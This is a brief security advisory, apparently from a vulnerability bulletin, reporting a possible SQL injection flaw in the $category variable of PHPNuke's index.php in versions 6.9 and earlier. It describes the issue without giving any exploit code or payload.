It has been reported that PHPNuke may prone to a SQL injection vulnerability, due to insufficient sanitization user-supplied input. The problem is reported to exist in the $category variable contained within the 'index.php' page.

PHPNuke versions 6.9 and prior have been reported to be prone to this issue, however other versions may be affected as well.
